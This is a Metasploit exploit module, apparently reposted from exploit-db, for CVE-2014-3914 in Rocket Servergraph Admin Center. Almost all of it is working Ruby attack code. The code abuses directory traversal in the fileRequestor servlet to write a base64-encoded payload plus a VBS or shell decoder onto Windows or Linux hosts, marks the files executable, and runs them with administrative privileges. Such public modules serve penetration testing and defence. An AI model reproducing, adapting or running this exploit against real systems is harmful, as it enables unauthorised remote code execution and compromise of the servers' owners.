Rocket Servergraph Admin Center – fileRequestor Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2014-06-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/33807/
  • ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    include Msf::Exploit::EXE
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution',
    'Description' => %q{
    This module abuses several directory traversal flaws in Rocket Servergraph Admin
    Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,
    allowing a remote attacker to write arbitrary files and execute commands with
    administrative privileges. This module has been tested successfully on Rocket
    ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu
    12.04 64 bits.
    },
    'Author' =>
    [
    'rgod <rgod[at]autistici.org>', # Vulnerability discovery
    'juan vazquez' # Metasploit module
    ],
    'License' => MSF_LICENSE,
    'References'=>
    [
    ['CVE', '2014-3914'],
    ['ZDI', '14-161'],
    ['ZDI', '14-162'],
    ['BID', '67779']
    ],
    'Privileged'=> true,
    'Platform'=> %w{ linux unix win },
    'Arch'=> [ARCH_X86, ARCH_X86_64, ARCH_CMD],
    'Payload' =>
    {
    'Space' => 8192, # it's writing a file, so just a long enough value
    'DisableNops' => true
    #'BadChars' => (0x80..0xff).to_a.pack("C*") # Doesn't apply
    },
    'Targets' =>
    [
    [ 'Linux (Native Payload)',
    {
    'Platform' => 'linux',
    'Arch' => ARCH_X86
    }
    ],
    [ 'Linux (CMD Payload)',
    {
    'Platform' => 'unix',
    'Arch' => ARCH_CMD
    }
    ],
    [ 'Windows / VB Script',
    {
    'Platform' => 'win',
    'Arch' => ARCH_X86
    }
    ],
    [ 'Windows CMD',
    {
    'Platform' => 'win',
    'Arch' => ARCH_CMD
    }
    ]
    ],
    'DefaultTarget'=> 0,
    'DisclosureDate' => 'Oct 30 2013'))
    
    register_options(
    [
    Opt::RPORT(8888)
    ], self.class)
    
    register_advanced_options(
    [
    OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]),
    OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]),
    OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ])
    ], self.class)
    
    end
    
    def check
    os = get_os
    
    if os.nil?
    return Exploit::CheckCode::Safe
    end
    
    Exploit::CheckCode::Appears
    end
    
    def exploit
    os = get_os
    
    if os == 'win' && target.name =~ /Linux/
    fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected")
    elsif os == 'linux' && target.name =~ /Windows/
    fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected")
    elsif os.nil?
    print_warning("#{peer} - Failed to detect remote operating system, trying anyway...")
    end
    
    if target.name =~ /Windows.*VB/
    exploit_windows_vbs
    elsif target.name =~ /Windows.*CMD/
    exploit_windows_cmd
    elsif target.name =~ /Linux.*CMD/
    exploit_linux_cmd
    elsif target.name =~ /Linux.*Native/
    exploit_linux_native
    end
    end
    
    def exploit_windows_vbs
    traversal = "\\.." * traversal_depth
    payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
    temp = temp_dir('win')
    decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs"
    encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
    exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe"
    
    print_status("#{peer} - Dropping the encoded payload to filesystem...")
    write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
    
    vbs = generate_decoder_vbs({
    :temp_dir => "C:#{temp}",
    :encoded_file_name => encoded_file_name,
    :exe_file_name => exe_file_name
    })
    print_status("#{peer} - Dropping the VBS decoder to filesystem...")
    write_file("#{traversal}#{temp}#{decoder_file_name}", vbs)
    
    register_files_for_cleanup("C:#{temp}#{decoder_file_name}")
    register_files_for_cleanup("C:#{temp}#{encoded_file_name}")
    register_files_for_cleanup("C:#{temp}#{exe_file_name}")
    print_status("#{peer} - Executing payload...")
    execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}")
    end
    
    
    def exploit_windows_cmd
    traversal = "\\.." * traversal_depth
    execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}")
    end
    
    def exploit_linux_native
    traversal = "/.." * traversal_depth
    payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
    temp = temp_dir('linux')
    encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
    decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh"
    elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf"
    
    print_status("#{peer} - Dropping the encoded payload to filesystem...")
    write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
    
    decoder = <<-SH
    #!/bin/sh
    
    base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name}
    chmod 777 #{temp}#{elf_file_name}
    #{temp}#{elf_file_name}
    SH
    
    print_status("#{peer} - Dropping the decoder to filesystem...")
    write_file("#{traversal}#{temp}#{decoder_file_name}", decoder)
    
    register_files_for_cleanup("#{temp}#{decoder_file_name}")
    register_files_for_cleanup("#{temp}#{encoded_file_name}")
    register_files_for_cleanup("#{temp}#{elf_file_name}")
    
    print_status("#{peer} - Giving execution permissions to the decoder...")
    execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}")
    
    print_status("#{peer} - Executing decoder and payload...")
    execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}")
    end
    
    def exploit_linux_cmd
    temp = temp_dir('linux')
    elf = rand_text_alpha(4 + rand(4))
    
    traversal = "/.." * traversal_depth
    print_status("#{peer} - Dropping payload...")
    write_file("#{traversal}#{temp}#{elf}", payload.encoded)
    register_files_for_cleanup("#{temp}#{elf}")
    print_status("#{peer} - Providing execution permissions...")
    execute("#{traversal}/bin/chmod 777 #{temp}#{elf}")
    print_status("#{peer} - Executing payload...")
    execute("#{traversal}#{temp}#{elf}")
    end
    
    def generate_decoder_vbs(opts = {})
    decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")
    
    f = File.new(decoder_path, "rb")
    decoder = f.read(f.stat.size)
    f.close
    
    decoder.gsub!(/>>decode_stub/, "")
    decoder.gsub!(/^echo /, "")
    decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}")
    decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}")
    
    decoder
    end
    
    def get_os
    os = nil
    path = ""
    hint = rand_text_alpha(3 + rand(4))
    
    res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}")
    
    if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/
    path = $1
    elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/
    path = $1
    end
    
    if path =~ /^\//
    os = 'linux'
    elsif path =~ /^[a-zA-Z]:\\/
    os = 'win'
    end
    
    os
    end
    
    def temp_dir(os)
    temp = ""
    case os
    when 'linux'
    temp = linux_temp_dir
    when 'win'
    temp = win_temp_dir
    end
    
    temp
    end
    
    def linux_temp_dir
    dir = "/tmp/"
    
    if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
    dir = datastore['TEMP_DIR']
    end
    
    unless dir.start_with?("/")
    dir = "/#{dir}"
    end
    
    unless dir.end_with?("/")
    dir = "#{dir}/"
    end
    
    dir
    end
    
    def win_temp_dir
    dir = "\\#{win_dir}\\Temp\\"
    
    if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
    dir = datastore['TEMP_DIR']
    end
    
    dir.gsub!(/\//, "\\")
    dir.gsub!(/^([A-Za-z]:)?/, "")
    
    unless dir.start_with?("\\")
    dir = "\\#{dir}"
    end
    
    unless dir.end_with?("\\")
    dir = "#{dir}\\"
    end
    
    dir
    end
    
    def win_dir
    dir = "WINDOWS"
    if datastore['WINDIR']
    dir = datastore['WINDIR']
    dir.gsub!(/\//, "\\")
    dir.gsub!(/[\\]*$/, "")
    dir.gsub!(/^([A-Za-z]:)?[\\]*/, "")
    end
    
    dir
    end
    
    def traversal_depth
    depth = 20
    
    if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1
    depth = datastore['TRAVERSAL_DEPTH']
    end
    
    depth
    end
    
    def write_file(file_name, contents)
    res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name)
    
    unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: /
    fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting")
    end
    
    res
    end
    
    def execute(command)
    res = send_request(1, "run", command)
    
    res
    end
    
    def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4))
    data = "&invoker=#{rand_text_alpha(rand(4) + 4)}"
    data << "&title=#{rand_text_alpha(rand(4) + 4)}"
    data << "&params=#{rand_text_alpha(rand(4) + 4)}"
    data << "&id=#{rand_text_alpha(rand(4) + 4)}"
    data << "&cmd=#{command}"
    data << "&source=#{source}"
    data << "&query=#{query}"
    
    res = send_request_cgi(
    {
    'uri'=> normalize_uri('/', 'SGPAdmin', 'fileRequest'),
    'method' => 'POST',
    'data' => data
    }, timeout)
    
    res
    end
    
    end